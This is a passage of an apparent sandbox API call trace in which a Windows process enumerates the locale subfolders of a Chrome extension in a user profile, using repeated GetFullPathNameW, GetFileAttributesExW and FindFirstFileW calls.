lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de", lpFilePart=0x0) returned 0x7d [0069.894] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.894] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.894] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el", lpFilePart=0x0) returned 0x7d [0069.894] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee2b2050, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee2b4760, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee2b4760, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.895] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el", lpFilePart=0x0) returned 0x7d [0069.895] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.895] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.895] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el", lpFilePart=0x0) returned 0x7d [0069.895] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.895] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.895] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB", lpFilePart=0x0) returned 0x80 [0069.895] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_gb"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee2d4330, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee2d6a40, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee2d6a40, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.896] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB", lpFilePart=0x0) returned 0x80 [0069.896] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.896] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.896] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB", lpFilePart=0x0) returned 0x80 [0069.896] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.896] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.896] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US", lpFilePart=0x0) returned 0x80 [0069.896] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_us"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee2db860, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee2e54a0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee2e54a0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.897] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US", lpFilePart=0x0) returned 0x80 [0069.897] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.897] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.897] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US", lpFilePart=0x0) returned 0x80 [0069.897] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.897] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.897] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es", lpFilePart=0x0) returned 0x7d [0069.897] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee305070, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee33abd0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee33abd0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.897] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es", lpFilePart=0x0) returned 0x7d [0069.897] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.897] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.898] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es", lpFilePart=0x0) returned 0x7d [0069.898] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.898] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.898] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419", lpFilePart=0x0) returned 0x81 [0069.899] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee33d2e0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee33d2e0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee33d2e0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.899] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419", lpFilePart=0x0) returned 0x81 [0069.899] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.899] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.900] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419", lpFilePart=0x0) returned 0x81 [0069.900] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.900] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.900] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et", lpFilePart=0x0) returned 0x7d [0069.900] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee344810, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee346f20, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee346f20, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.900] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et", lpFilePart=0x0) returned 0x7d [0069.900] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.900] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.900] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et", lpFilePart=0x0) returned 0x7d [0069.900] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.901] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.901] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu", lpFilePart=0x0) returned 0x7d [0069.901] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee34bd40, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee34e450, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee34e450, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.901] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu", lpFilePart=0x0) returned 0x7d [0069.901] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.901] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.901] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu", lpFilePart=0x0) returned 0x7d [0069.901] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.902] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.902] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa", lpFilePart=0x0) returned 0x7d [0069.902] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee353270, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee355980, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee355980, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.902] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa", lpFilePart=0x0) returned 0x7d [0069.902] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.902] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.902] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa", lpFilePart=0x0) returned 0x7d [0069.902] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.902] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.902] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi", lpFilePart=0x0) returned 0x7d [0069.902] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user 